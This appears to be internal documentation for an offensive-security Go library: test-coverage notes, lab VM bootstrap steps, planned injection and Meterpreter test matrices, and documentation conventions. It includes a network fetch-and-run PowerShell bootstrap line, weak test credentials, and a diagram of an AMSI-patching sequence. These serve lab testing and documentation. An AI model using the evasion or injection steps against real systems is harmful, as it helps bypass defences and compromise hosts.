* Historical: TestProcMemSelfInject flapped 2 out of 3 runs (transient SIGSEGV in the child during exit cleanup, after injection succeeded). Fixed via 3× retry + PROCMEM_OK marker match in stdout instead of relying on exit code.

** Historical: TestBusyWaitPrimality failed on the Windows VM (took 10.15 s against a 10 s upper bound). Fixed by raising the bound to 60 s — the VM's CPU is shared (20 vCPUs / 4 GB RAM) and non-deterministic.


Remaining SKIPs — justified inventory (64 across the all-gates run)

SKIPs aren't a defect as long as each one is legitimate. Classification:

#FamilyExamplesFixable?
40Platform mismatchRequireWindows on Linux VM, RequireLinux on WindowsNo — by design
5Skip-because-adminTestAddAccessDenied tests the "Access Denied" branch when not admin; correct to skip when we are adminNo — inverted-logic check
3.NET 3.5 subprocess pathsTestLoadAndClose, TestExecuteAssembly*, TestExecuteDLL*Partial — see "clrhost" above
3External tools missingTestBuildWithCertificate (signtool, Windows SDK 1 GB), TestUPXMorphRealBinary (UPX 3.x only — we have 4.2.4)High cost — documented
3Interactive session requiredTestCapture*, TestCaptureSimulatedKeystrokes — need session 1 (desktop); SSH opens session 0Possible via RDP + AutoLogon, low priority
4SC-specific contextTest{Hide,UnHide}Service* — require a pre-existing service with a specific SDWould need a dummy service in TOOLS
3MSF timing / PPIDTestMeterpreterRealSession (×2), TestPPIDSpoofer — MSF boot timing + PPID raceRetry loop possible
2!windows stubsTestEnforcedNonWindowsStub, TestDisableNonWindowsStubCorrectly skip on Windows — no action
2NTFS / memory protectionTestFiber_RealShellcode, TestSetObjectIDDefender / NTFS quirks

CLR v2 legacy activation blocker

runtime/clr tests (TestLoadAndClose, TestExecuteAssemblyEmpty, TestExecuteDLLValidation, TestExecuteDLLReal) skip with:

clr: ICorRuntimeHost unavailable (install .NET 3.5 and call InstallRuntimeActivationPolicy before Load)

This is environmental, not a code bug. Diagnosed during the 2026-04-22 session:

  • Get-WindowsOptionalFeature -Online -FeatureName NetFx3State=Enabled
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll present (10.6 MB)
  • A hand-written C# hello.cs compiled with v2.0.50727\csc.exe runs correctly — the v2 runtime itself works end-to-end
  • TestInstallAndRemoveRuntimeActivationPolicy PASSES (writes/removes the legacy config file correctly)

Root cause: CLSID {CB2F6722-AB3A-11D2-9C40-00C04FA30A3E} (CorRuntimeHost) is not registered in HKLM\SOFTWARE\Classes\CLSID\. Only the sibling CLSID {CB2F6723-AB3A-11d2-9C40-00C04FA30A3E} (IMetaDataDispenser) exists. DISM /Enable-Feature /FeatureName:NetFx3 is not sufficient — it enables the runtime bits but leaves the legacy v2 activation chain incomplete.

Attempts that did NOT unblock it (all tried during the session):

  • Reboot (actually shutdown /r under SYSTEM didn't really reboot)
  • regsvr32 mscoree.dll (System32 + SysWOW64, both exit 0 but CLSID still missing)
  • RegAsm.exe mscorlib.dll /codebase (failed RA0000 "need admin credentials" even under SYSTEM)
  • Manual reg import of the CLSID structure mirroring the sibling {CB2F6723-…} entry — keys exist (HKLM\SOFTWARE\Classes\CLSID\{CB2F6722-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32mscoree.dll, ThreadingModel=Both, ProgID=CLRRuntimeHost, ImplementedInThisVersion={2.0.50727,4.0.30319}) but CorBindToRuntimeEx still returns 0x80040154 (REGDB_E_CLASSNOTREG) for both v2.0.50727 and v4.0.30319. Confirmed 2026-04-25 with a one-shot Go diagnostic that calls mscoree!CorBindToRuntimeEx directly and prints the raw HRESULT. Conclusion: mscoree's internal binding looks at more than just the CLSID — interface registration, typelib, and Fusion entries are also missing, and only the full .NET 3.5 Redistributable (offline dotnetfx35.exe from Win7-era, or the in-place sources/sxs payload from a Win10 ISO) runs the complete chain.
  • InstallRuntimeActivationPolicy() at startup of clrhost (writes <exe>.config — doesn't help, the issue is COM registration)

What was added in TOOLS v2 (2026-04-25):

  • scripts/vm-provision.sh now imports the CLSID {CB2F6722-…} entry every provisioning pass, so future debug rounds start from the same baseline rather than rediscovering the missing key. It also pushes + runs dism /online /Add-Package against the Win10 ISO's sources/sxs/microsoft-windows-netfx3-ondemand-package*.cab when staged at MALDEV_NETFX3_CAB. Confirmed 2026-04-25 that this still doesn't unblock CorBindToRuntimeEx after a reboot, but it gets the snapshot one step closer to a working CLR2 activation chain.
  • runtime/clr/clr_windows.go::corBindToRuntimeEx wraps the REGDB_E_CLASSNOTREG path with %w + the raw HRESULT, so SKIP messages now read CorBindToRuntimeEx(v2.0.50727): HRESULT 0x80040154 (REGDB_E_CLASSNOTREG): clr: ICorRuntimeHost unavailable … — the next investigator sees the actual code without rebuilding.

What was tried + ruled out 2026-04-25 (after pt 1/2):

  1. dism /online /enable-feature /featurename:NetFx3 /all /Source:<sources/sxs> /LimitAccess after a dism /disable-feature round-trip — failed 0x488 (1168, ERROR_NOT_FOUND). The OnDemand cab alone isn't enough for /enable-feature.
  2. dism /online /Add-Package /PackagePath:<sources/sxs/...netfx3-ondemand...cab> — succeeded, exit 3010 (REBOOT_REQUIRED). After reboot, CorBindToRuntimeEx still returns 0x80040154. The OnDemand package adds the runtime files but not the legacy COM/typelib/Fusion chain mscoree binds against.
  3. Win7-era .NET Framework 3.5 Redistributable (dotnetfx35.exe, 232 MB from Microsoft download CDN) — the installer ran silently and returned 0 but produced no log content beyond DONE_EXIT=0; on Win10 it refuses to install (the OS is "newer than supported"). HRESULT unchanged.

What to try next (still open, needs Windows ISO):

  1. Mount a Win10 22H2 ISO inside the VM and run dism /online /enable-feature /featurename:NetFx3 /all /source:D:\sources\sxs /LimitAccess. This drives the full registration chain that the network-only DISM path skips.
  2. Install the .NET Framework 3.5 Redistributable offline installer (dotnetfx35.exe, Win7-era) — even on Win10 it tends to trigger the full COM/typelib/Fusion registration via mscorsvw.exe post-install hooks.
  3. sfc /scannow to restore system file coherence.
  4. Re-provision the win10 VM from a fresh Windows ISO that bundles .NET 3.5 in the install base rather than activated after the fact via DISM.

The clrhost coverage infrastructure itself is correct — go build -cover, GOCOVERDIR, go tool covdata textfmt, vmtest.Fetch, and coverage-merge.go all work. When the CLR environment cooperates, 7+ runtime/clr functions light up in the merged profile (Load 56.7%, enumerate 100%, orderCandidates 90%, metaHostRuntime 77.8%, runtimeInfoBindLegacyV2 100%, runtimeInfoCorHost 62.5%, createMetaHost 80%). Don't rewrite the mechanism — just fix the VM.


Other open leads

  1. Signtool — install Windows SDK (headless via winget install Microsoft.WindowsSDK), re-snapshot TOOLS. Unblocks TestBuildWithCertificate.

  2. Service skeleton for cleanup/service — pre-create a dummy service in the TOOLS snapshot (sc create maldev-test-svc binPath=C:\Windows\System32\cmd.exe). Unblocks Test{Hide,UnHide}Service*.

  3. Packages without _test.go (29 as of 2026-04-22; see ignore/coverage/no-tests.txt if regenerated) — mainly cmd/* binary entry points and pe/masquerade/preset/*. The former are main() functions (out of scope for unit tests); the latter are resource-only packages with no executable code.

  4. Meterpreter matrixscripts/x64dbg-harness/meterpreter_matrix/ exercises 20 techniques × MSF sessions. Not integrated into full-coverage.sh yet; run manually. Results logged in docs/testing.md.

  5. Automated "missing tool" detection — extend vm-provision.sh to actively probe for signtool, Windows SDK, interactive session (today it checks only NetFx3, postgresql, msfdb). Add an issue-style section in the log listing what's absent.


Files produced by this work

cmd/vmtest/driver.go                       # +Fetch, +io.Writer in Exec
cmd/vmtest/driver_libvirt.go               # +Fetch scp, +io.Writer
cmd/vmtest/driver_vbox.go                  # +Fetch copyfrom, +io.Writer
cmd/vmtest/runner.go                       # +-report-dir, -coverprofile inject, tee log, Fetch cover.out + clrhost-cover.out
cmd/vmtest/runner_test.go                  # 4 unit tests (injectCoverprofile, safeLabel, guestCoverPath, guestClrhostCoverPath)
cmd/vmtest/main.go                         # +-report-dir flag

scripts/coverage-merge.go                  # merge N cover profiles → Markdown
scripts/full-coverage.sh                   # end-to-end workflow
scripts/vm-provision.sh                    # install tools + snapshot TOOLS

docs/coverage-workflow.md                  # this file

testutil/kali_test.go                      # 4 env resolvers (kaliSSHHost/Port/Key/User)
testutil/clr_windows.go                    # clrhost built with -cover, covdata → textfmt
testutil/clrhost/main.go                   # +exec-dll-real op, +--dll-path flag
testutil/clrhost/maldev_clr_test.dll       # 3 KB .NET 2.0 assembly (Maldev.TestClass.Run)

evasion/unhook/factories_test.go           # 5 factories + Name methods (Windows)
recon/hwbp/technique_test.go             # Technique() factory (Windows)
evasion/cet/cet_test.go                    # +Enforced/Disable stub tests
process/tamper/hideprocess/hideprocess_stub_test.go
evasion/stealthopen/stealthopen_stub_test.go
process/tamper/fakecmd/fakecmd_stub_test.go
evasion/preset/preset_stub_test.go
evasion/hook/hook_stub_test.go
evasion/hook/probe_stub_test.go
evasion/hook/remote_stub_test.go
evasion/hook/bridge/controller_stub_test.go
evasion/hook/bridge/controller_windows_test.go  # 8 deeper tests for CallOriginal, Args, Log, Ask
evasion/hook/hook_lifecycle_windows_test.go     # TestReinstallAfterRemove, TestInstallOnPristineTargetAfterGroupRollback
c2/transport/namedpipe/namedpipe_stub_test.go
cleanup/ads/ads_stub_test.go
process/session/sessions_stub_test.go
runtime/clr/clr_stub_test.go
internal/compat/cmp/cmp_modern_test.go
internal/compat/slices/slices_modern_test.go

runtime/clr/clr_windows_test.go                 # +TestExecuteDLLReal

recon/timing/timing_test.go              # TestBusyWaitPrimality upper bound 10s → 60s
inject/linux_test.go                       # TestProcMemSelfInject retry 3× + PROCMEM_OK marker

Troubleshooting

  • VM unreachable over SSH. virsh -c qemu:///session list --all, virsh start <vm>, check ip neigh show | grep 52:54 (VM MAC in the ARP table). Session-mode libvirt doesn't expose DHCP leases via virsh domifaddr, hence the env-pinned IPs.
  • DISM "Access denied". OpenSSH on Windows 10 runs at medium integrity; UAC blocks elevation. Workaround: run via schtasks /ru SYSTEM (see scripts/vm-provision.sh for the pattern).
  • Kali sudo prompts for a password. Default is test; override via MALDEV_KALI_SUDO_PASSWORD.
  • TOOLS snapshot corrupted. virsh snapshot-delete <vm> --snapshotname TOOLS, then re-run vm-provision.sh.
  • Windows tests frozen with no output. go test ./... compiles silently for the first ~5 min — that's normal. Use -v to see each test as it starts rather than waiting for the package-level summary.
  • TestProcMemSelfInject / TestBusyWaitPrimality red. If they flap despite the retry/bound fixes, reproduce with go test -count=5 -run <Name> and tighten further.
  • VM silently pauses mid-run (QEMU paused state). Observed 2 out of 5 runs during the 2026-04-22 session. ARP entry for the VM drops, SSH returns "No route to host". Workaround: virsh destroy <vm> && virsh snapshot-revert <vm> --snapshotname TOOLS --force, then relaunch. If chronic, recreate TOOLS from a fresh INIT.
  • runtime/clr tests SKIP with ICorRuntimeHost unavailable. See the CLR v2 activation blocker section above. Not a code bug in maldev — the .NET 3.5 install on this VM is incomplete at the COM-registration layer.

VM Test Setup — Reproducible Bootstrap

Scope. This document covers bootstrap from zero: host tools, guest OS install, SSH keys, INIT snapshot. For per-test-type details (injection matrix, Meterpreter, evasion byte-pattern verification, BSOD) see docs/testing.md. For the cross-platform coverage collection workflow (merged report) see docs/coverage-workflow.md.

This guide brings a fresh host (Fedora/libvirt or Windows/VirtualBox) to the state where ./scripts/test-all.sh runs the full pass/fail matrix:

  • memscan static verification matrix — 77+ byte-pattern checks
  • Linux VM go test — intrusive + manual tests enabled
  • Windows VM go test — intrusive + manual tests enabled

For the merged coverage workflow (same VMs, additionally captures cover.out from each guest and unions profiles into a single report), run scripts/full-coverage.sh after provisioning a TOOLS snapshot with scripts/vm-provision.sh — see docs/coverage-workflow.md.

The Kali VM (Meterpreter handler) is provisioned similarly but orchestrated separately via testutil/kali.go.


Host requirements

Host OSHypervisorTools the host needs
Fedora / Debian / Ubuntulibvirt + qemuvirsh, ssh, scp, rsync, sshpass (for install-keys.sh), Go 1.25+
Windows 10/11VirtualBox 7+VBoxManage on PATH, Git for Windows (Git Bash), Go 1.25+

Fedora quick install:

sudo dnf install -y @virtualization virt-manager virt-install sshpass rsync openssh-clients
sudo systemctl enable --now libvirtd
sudo usermod -aG libvirt "$USER"   # re-login required

Windows: download VBox + Go MSI, add C:\Program Files\Oracle\VirtualBox to PATH, open Git Bash.


VM inventory

Three VMs, names committed in scripts/vm-test/config.yaml as defaults. Per-host overrides in scripts/vm-test/config.local.yaml (gitignored).

RoleVirtualBox default namelibvirt default nameSnapshotUserPurpose
WindowsWindows10win10INITtest (admin)unit + intrusive tests, memscan target
Windows 11 (optional)Windows11win11-2INITtest (admin)second Windows build for cross-version coverage
LinuxUbuntu25.10ubuntu20.04INITtestLinux unit tests, procmem/memfd/ptrace
Kali(not managed by vmtest)kaliINITtestMSF msfconsole/msfvenom, Meterpreter end-to-end

The windows11 target is optional — vmtest all runs all configured VMs but vmtest windows / vmtest windows11 lets you target one build at a time. To add a second Windows VM after the first is set up, repeat the bootstrap steps with the libvirt domain name in config.local.yaml's vms.windows11.libvirt_name.

INIT is a snapshot taken AFTER provisioning (Go installed, OpenSSH up, SSH key authorized, firewall opened). Every test run reverts to INIT.


One-time bootstrap, from scratch

1. Generate host-side SSH keys (one per VM role)

mkdir -p ~/.ssh && chmod 700 ~/.ssh
ssh-keygen -t ed25519 -f ~/.ssh/vm_windows_key -N '' -C "maldev-vmtest-windows"
ssh-keygen -t ed25519 -f ~/.ssh/vm_linux_key   -N '' -C "maldev-vmtest-linux"
ssh-keygen -t ed25519 -f ~/.ssh/vm_kali_key    -N '' -C "maldev-vmtest-kali"

Keys live outside the repo. Never committed.

2. Install the guest OSes

  • Linux guest: Ubuntu 20.04+ or Debian. During install, create local user test with password test, grant sudo. Install can be anything (virt-install cloud-init, GNOME Boxes, VirtualBox GUI).
  • Windows guest: Windows 10/11. During install, create local user test with password test, add to Administrators.
  • Kali guest: standard Kali install. Create user test with password test (or any pair you pass to sshpass).

3. Provision each guest (bring it to ready state)

Two paths per guest. Pick one.

3a. Scripted — inside the guest

Copy the bootstrap script into the guest and run it.

  • Linux / Kali guest — from the host:

    scp scripts/vm-test/bootstrap-linux-guest.sh test@<guest-ip>:/tmp/
    ssh test@<guest-ip> "bash /tmp/bootstrap-linux-guest.sh"
    

    The script: installs openssh-server + rsync + curl + Go 1.26 (or GO_VERSION override), enables sshd at boot, creates /usr/local/bin/go symlink so non-login SSH sessions see Go.

  • Windows guest — inside the VM (elevated PowerShell):

    # Paste the public key and run (one-time):
    iwr -useb http://<host-ip>/bootstrap-windows-guest.ps1 | iex
    # OR copy scripts\vm-test\bootstrap-windows-guest.ps1 into the VM and run:
    .\bootstrap-windows-guest.ps1 -PublicKey "ssh-ed25519 AAAA..."
    

    The script: installs OpenSSH Server, starts sshd, opens firewall 22 and 50300, comments out the Match Group administrators block in sshd_config (so admin users read ~/.ssh/authorized_keys normally), installs Go into C:\Go, creates memscan firewall rule. Pass -PublicKey containing the content of ~/.ssh/vm_windows_key.pub.

3b. Manual — if you prefer

See Manual guest provisioning at the bottom.

4. Push SSH keys into the guests

# Start each VM and ensure sshd is listening on port 22.
virsh start win10 && virsh start ubuntu20.04 && virsh start kali     # libvirt
# (or use VBoxManage startvm on Windows)

./scripts/vm-test/install-keys.sh linux   # pushes vm_linux_key.pub via ssh-copy-id
./scripts/vm-test/install-keys.sh kali    # same for Kali
# Windows: the bootstrap script already installed the key — skip install-keys.sh.

5. Create the INIT snapshot on each VM

libvirt:

for d in win10 ubuntu20.04 kali; do
    virsh snapshot-create-as "$d" --name INIT --description "post-provision ready state"
done

VirtualBox:

for vm in Windows10 Ubuntu25.10 Kali; do
    VBoxManage snapshot "$vm" take INIT --description "post-provision ready state" --live
done

6. Wire up config.local.yaml (host-side, per-host overrides)

cp scripts/vm-test/config.local.example.yaml scripts/vm-test/config.local.yaml
# edit: set libvirt_name if your domain names differ, and ssh_key paths.

For Kali: its host/user/key come from environment, not YAML.

cp scripts/vm-test/kali-env.sh.example scripts/vm-test/kali-env.sh
# edit: set MALDEV_KALI_SSH_HOST to `virsh domifaddr kali | awk '/ipv4/...'`
# Then source it from your shell:
echo '. ~/GolandProjects/maldev/scripts/vm-test/kali-env.sh' >> ~/.bashrc

7. Verify

./scripts/test-all.sh --only memscan   # static matrix
./scripts/test-all.sh --only linux     # Linux go test ./...
./scripts/test-all.sh --only windows   # Windows go test ./...
./scripts/test-all.sh                  # everything, with a unified report

Expected final summary:

  memscan    PASS  total sub-checks: 77 passed / 0 failed (0 fatal row(s))
  linux      PASS  packages: N ok / 0 FAIL (exit=0)
  windows    PASS  packages: N ok / 0 FAIL (exit=0)
overall: PASS

Debugging native crashes inside the Windows VM

When a test process crashes with an access violation on a non-Go thread (e.g. a thread-pool callback, as happens with the Ekko ROP chain), Go's own crash reporter usually catches it and prints a traceback — but the stack dump is often enough to pinpoint the bug. Workflow:

# Run the failing test DIRECTLY via SSH (bypassing vmtest so the VM
# doesn't auto-revert and lose state). Source is pushed as a tarball.
tar -czf /tmp/src.tar.gz --exclude='.git' --exclude='ignore' .
scp -i $HOME/.ssh/vm_windows_key -o StrictHostKeyChecking=no \
    /tmp/src.tar.gz test@<VM_IP>:C:/maldev-src.tar.gz
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
    'cd /d C:\maldev & tar -xzf C:\maldev-src.tar.gz & \
     go test -c -o C:\t.exe ./<package>/'
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
    'C:\t.exe -test.v -test.run <Name>' > /tmp/crash.log 2>&1
head -30 /tmp/crash.log    # exception code, address, goroutine trace

Go's crash output includes:

  • signal 0xc0000005 code=0x0 addr=0x... — exception code + fault address
  • goroutine N gp=... [running]: + symbolic stack frames
  • unexpected return pc for X called from 0x... — surfaces stack corruption

If the Go reporter doesn't surface enough detail, WER LocalDumps (configured by scripts/vm-provision.sh) writes a full minidump to C:\Dumps\*.dmp; fetch it back via scp and analyze on the host. The TOOLS snapshot already has the registry keys (DumpType=2, DumpFolder=C:\Dumps).

Troubleshooting

SymptomCauseFix
virsh list shows emptyuser not in libvirt group OR URI mismatchsudo usermod -aG libvirt $USER + re-login; or virsh -c qemu:///session list for user-mode VMs (GNOME Boxes default)
Windows SSH key-auth refused despite ~/.ssh/authorized_keysMatch Group administrators in sshd_config — admins read administrators_authorized_keysComment out the Match block (bootstrap script does this)
memscan server spawned but /health times outWindows Firewall blocks 50300New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow
memscan server dies as soon as SSH session endsWindows OpenSSH binds children to sshd's JobObjectOrchestrator already uses Task Scheduler (schtasks /Create /SC ONCE + /Run) — runs outside the job
"Le chemin d'accès spécifié est introuvable" from virsh parsingFrench localeLC_ALL=C forced in all scripts (install-keys.sh, driver_libvirt.go)
go not in PATH via non-login SSHdefault /etc/profile.d/go.sh only loads for login shellsSymlink /usr/local/go/bin/go/usr/local/bin/go (bootstrap script does this)
ubuntu20.04- with trailing dashGNOME Boxes install artifactEither use the name as-is in config.local.yaml or virsh domrename ubuntu20.04- ubuntu20.04
Kali VM named debian13 in libvirtinstaller chose that nameUse libvirt_name: debian13 in kali-env.sh, or virsh domrename debian13 kali

Manual guest provisioning

If the bootstrap scripts don't fit, here's the minimum each guest needs.

Linux / Kali guest

sudo apt update && sudo apt install -y openssh-server rsync curl
sudo systemctl enable --now ssh

curl -LO https://go.dev/dl/go1.26.2.linux-amd64.tar.gz
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.26.2.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/go    /usr/local/bin/go
sudo ln -sf /usr/local/go/bin/gofmt /usr/local/bin/gofmt
rm go1.26.2.linux-amd64.tar.gz

Kali only: sudo apt install -y metasploit-framework (usually pre-installed).

Windows guest (elevated PowerShell)

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow
New-NetFirewallRule -Name ssh-in -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Authorize the host's public key.
$k = 'ssh-ed25519 AAAA... maldev-vmtest-windows'
New-Item -ItemType Directory -Force C:\Users\test\.ssh | Out-Null
Add-Content C:\Users\test\.ssh\authorized_keys $k
icacls C:\Users\test\.ssh\authorized_keys /inheritance:r /grant "test:F" /grant "SYSTEM:F"

# If user 'test' is an admin: comment Match Group administrators block.
$cfg = "$env:ProgramData\ssh\sshd_config"
(Get-Content $cfg) -replace '^(Match Group administrators)','# $1' `
    -replace '^(\s*AuthorizedKeysFile\s+__PROGRAMDATA__)','# $1' |
    Set-Content $cfg -Encoding ASCII
Restart-Service sshd

# Go 1.26.2.
$zip = "$env:TEMP\go.zip"
Invoke-WebRequest https://go.dev/dl/go1.26.2.windows-amd64.zip -OutFile $zip -UseBasicParsing
Expand-Archive $zip -DestinationPath C:\ -Force
[Environment]::SetEnvironmentVariable("Path",
    [Environment]::GetEnvironmentVariable("Path","Machine") + ";C:\Go\bin", "Machine")
Remove-Item $zip

Then take a INIT snapshot and register the libvirt/VBox name in scripts/vm-test/config.local.yaml.


Future extensions (Phase 5)

Not currently in the matrix, kept in this note so a contributor can add them without re-deriving the design:

  1. Remote-inject verifs (~20 additional sub-checks): CreateRemoteThread, RtlCreateUserThread, EarlyBirdAPC, QueueUserAPC, ThreadHijack, KernelCallbackExec, PhantomDLLInject, ModuleStomp, ExecuteCallback {EnumWindows, TimerQueue, CertEnumStore} × 4 callers where applicable. Pattern: extend cmd/memscan-harness/harness_windows.go with a -target notepad flag that spawns notepad.exe, uses that PID for inject.Config.PID, then reports both harness PID and target_pid=<notepad>. The orchestrator attaches to target_pid for /find. Expected "fails" per docs/testing.md:61-62: ThreadHijack+Direct/Indirect (RSP alignment), CreateFiber (deadlocks Go).

  2. BSOD test (crashes VM, restores snapshot): reimplement the gitignored scripts/vm-test-bsod.go using the same vmtest driver. Launch harness via scheduled task that calls bsod.Trigger(nil), poll sshd disappearance on the VM, then driver.Restore().

  3. Meterpreter matrix (~21 end-to-end sessions): wrap the Meterpreter e2e scenarios from docs/testing.md:78-108 in the same matrix-runner shape as memscan. Each row: spawn MSF handler on Kali via testutil.KaliStartListener, inject msfvenom shellcode via one Method × Caller, assert testutil.KaliCheckSession() returns true.

  4. MCP SSE streamable HTTP: the stdio MCP adapter (cmd/memscan-mcp) already speaks JSON-RPC 2.0. To expose it over network for remote Claude Code usage, add --sse mode that listens HTTP on a port, implementing the MCP SSE transport. ~100 LoC.

Documentation Conventions Skill

Apply this skill to all documentation work in this project. The methodology was decided 2026-04-27 and is the canonical source — older .md files that diverge are legacy and must be migrated, not perpetuated.

Surface (where docs live)

Hybrid model. /docs/**.md and */doc.go files are the canonical source of truth, browseable directly on GitHub. A CI job additionally generates a richer site on gh-pages (mdBook or Docusaurus) with full-text search, dark mode, and versioned snapshots.

  • Anything that ships on pkg.go.dev (godoc) is godoc-rendered. Don't put GitHub-specific markdown in doc.go — write plain godoc that survives both surfaces.
  • Anything in /docs/**.md may use full GFM + GitHub advanced formatting (Mermaid, alerts, math, collapsibles, tables, footnotes, task lists).
  • The gh-pages site builds from /docs/**.md — never write content that only exists on the site. Source is markdown.

Audience paths (3 explicit roles)

The README and docs/index.md route readers via three role pages:

  • docs/by-role/operator.md — red team / ops focus: chains, OPSEC, payload-ready snippets, deployment patterns.
  • docs/by-role/researcher.md — security R&D focus: how it works at the kernel/runtime layer, paper references, MITRE/D3FEND mapping.
  • docs/by-role/detection-eng.md — blue team focus: artifacts left, detection telemetry, EDR signatures, hardening recommendations.

Every technique page links back to one or more role pages via "See also". Every role page links forward to relevant technique pages. The tree is acyclic and traversable both ways.

Per-package docs (doc.go)

Required structure. Every public package MUST have a doc.go that matches this template (literal section headers, in this order):

// Package <name> <one-sentence purpose, ending with a period>.
//
// <intro paragraph: what problem it solves, who calls it, when to use it.
// 80–200 words, plain prose, no headers.>
//
// # MITRE ATT&CK
//
//   - T<id> (<full sub-technique name>)
//   - [more if applicable]
//
// # Detection level
//
// <one of: very-quiet | quiet | moderate | noisy | very-noisy>
//
// <one or two sentences on the artifacts left behind. Be concrete:
// syscalls invoked, registry keys touched, ETW providers triggered, etc.>
//
// # Example
//
// See [Example<First>] in <name>_example_test.go.
//
// # See also
//
//   - docs/techniques/<area>/<file>.md
package <name>

Detection level scale — pick exactly one bucket per package:

BucketMeaning
very-quietZero artifacts above noise. In-process only. Common syscalls only.
quietMinimal trace. No event log. May leave one transient registry/file artifact.
moderateDistinguishable syscall pattern but commonly used by legitimate software.
noisyTriggers ETW providers, event log entries, or cross-process activity that's monitorable.
very-noisyHigh-confidence detection by signature: known sigs in Defender, hooked APIs that EDR specifically watches.

MITRE format — always T<id>(.<sub>)? (<full name>). Never bundle without the () form. Examples:

  • T1003.001 (OS Credential Dumping: LSASS Memory)
  • T1003.001 — OS Credential Dumping: LSASS Memory ❌ (em-dash)
  • T1071, T1573 ❌ (bundled, missing names)

Per-technique pages (docs/techniques/<area>/<file>.md)

Template — flexible, but API Reference is mandatory. Sections in the order listed. Omit a section if it has no content; never reorder.

  1. # <Title> (H1, no subtitle).
  2. Front-matter (YAML) — see Versioning below.
  3. ## TL;DR — 3 lines max. What / why / when.
  4. ## Primer — 100–200 words, beginner-accessible. Defines the problem space without code.
  5. ## How It Works — diagrams + step list. Mermaid encouraged when it adds clarity.
  6. ## API ReferenceREQUIRED, homogenized format (see below).
  7. ## Examples:
    • ### Simple — minimum-viable runnable snippet, ≤10 LOC.
    • ### Composed — combined with ≥1 other package (e.g., evasion + caller).
    • ### Advanced — chain ≥4 packages.
    • ### Complex — full end-to-end scenario, may link out to docs/examples/*.md.
  8. ## OPSEC & Detection — artifacts left, defender vantage points, D3FEND counter-techniques tagged D3-XXX.
  9. ## MITRE ATT&CK — mini-table:
    | T-ID | Name | Sub-coverage | D3FEND counter |
    |---|---|---|---|
    | T1003.001 | OS Credential Dumping: LSASS Memory | full | D3-PA |
    
  10. ## Limitations — Windows version gates, admin/SYSTEM requirements, AV signatures encountered.
  11. ## See also — sibling technique pages, doc.go anchor, external references (papers, blog posts).

Banned: "Compared to Other Implementations" sections. We don't benchmark against tooling we don't ship.

API Reference format (REQUIRED, homogeneous)

Each public exported symbol gets a fixed-shape entry:

### `Foo(arg Type) (Result, error)`

[godoc](https://pkg.go.dev/github.com/oioio-space/maldev/<path>#Foo)

<one-line summary, identical to first line of godoc>

**Parameters:**
- `arg` — what it represents, accepted ranges, who supplies it.

**Returns:**
- `Result` — meaning of the value.
- `error` — `<sentinel>` when X, wraps `<other>` when Y, nil on success.

**Side effects:** <if any, e.g. allocates RWX memory, writes to %TEMP%>.

**OPSEC:** <one-line summary of what this single call leaves behind>.

**Required privileges:** one of `unprivileged` / `medium-IL` /
`admin` / `SYSTEM` / `kernel`. Append the specific Windows
privileges this call needs (e.g. `SeDebugPrivilege`,
`SeLoadDriverPrivilege`) when applicable.

**Platform:** `windows` / `linux` / `cross-platform`. Add the
minimum build (e.g. `windows ≥ 10 1809`) when the call is
build-gated.

Privilege levels (closed set):

  • unprivileged — runs as any logged-on interactive user, no UAC consent needed (e.g., reading own process memory, domain.Name).
  • medium-IL — same as unprivileged but explicitly relies on the Medium integrity level (most user-mode primitives that touch HKCU but not HKLM).
  • admin — High-IL token, post-UAC-consent or already elevated. Hostile UAC-bypass primitives target this state.
  • SYSTEMNT AUTHORITY\SYSTEM (winlogon-impersonation, service install, kernel-callback writes through BYOVD).
  • kernel — needs a kernel R/W primitive (BYOVD via kernel/driver/*, or a future loaded-driver path).

Every package with public exports has a complete ## API Reference section with one entry per exported symbol. No exceptions.

Examples (example_test.go)

Mandatory — every public package. Tier names and what each demonstrates:

  • Example<Func> (Simple) — bare API, ≤10 LOC. // Output: line where deterministic.
  • Example<Pkg>_with<OtherPkg> (Composed) — 2-3 packages chained.
  • Example<Pkg>_chain (Advanced) — ≥4 packages, end-to-end.
  • Complex scenarios live in docs/examples/*.md as runnable narrative.

godoc renders example bodies regardless of //go:build gates. Tests gated by MALDEV_INTRUSIVE etc. still surface as examples on pkg.go.dev.

Mermaid usage

Use Mermaid for:

  • Flowcharts — architecture, dependency layers, decision trees.
  • Sequence diagrams — technique execution sequences (e.g., AMSI patch resolution, sleepmask state transitions).
  • State diagrams — multi-phase techniques (sleepmask Idle/Encrypted/ Sleeping/Decrypted/Active, herpaderping write/replace/run/restore).
  • Class diagrams — type/interface relationships (e.g., Caller interface implementations).
  • Mind maps — MITRE T-ID hierarchy in docs/mitre.md.

Default to Mermaid over ASCII art when both work. Keep diagrams under 25 nodes; split into linked sub-diagrams beyond that.

Example syntax for sequence:

sequenceDiagram
    Implant->>amsi: PatchScanBuffer(nil)
    amsi->>ntdll: NtProtectVirtualMemory(RWX)
    amsi->>amsi.dll: write 31 C0 C3
    amsi->>ntdll: NtProtectVirtualMemory(RX)
    amsi-->>Implant: original 3 bytes

Mermaid 11.2.0 strict-mode rules

mdbook-mermaid pins Mermaid 11.2.0 (see book.toml). Its parser is stricter than older versions; the following patterns break the gh-pages build silently (diagram renders as raw code):

  • Quote multi-word participant/actor aliases. Bare participant X as STA COM apartment parses the alias as STA only and errors on the rest. Use participant X as "STA COM apartment". Same rule for subgraph titles in flow diagrams.
  • Use %% for diagram comments, not # or //.
  • Avoid the Unicode em-dash inside message text. ASCII -- or - works across themes. Same for "smart quotes": use ASCII " and '.
  • Self-loops (Actor->>Actor: msg) are fine; nested loop / alt / opt blocks must close with end.
  • note over X,Y: text requires a comma between actors with no leading space.

When in doubt, quote — it's never wrong to quote.

GFM features to use

Reference: GitHub advanced formatting, GFM spec.

Always use

FeatureSyntaxWhen
Alerts> [!NOTE|TIP|IMPORTANT|WARNING|CAUTION]OPSEC warnings, version gates, prerequisites. Replaces all **Warning:** bold prose.
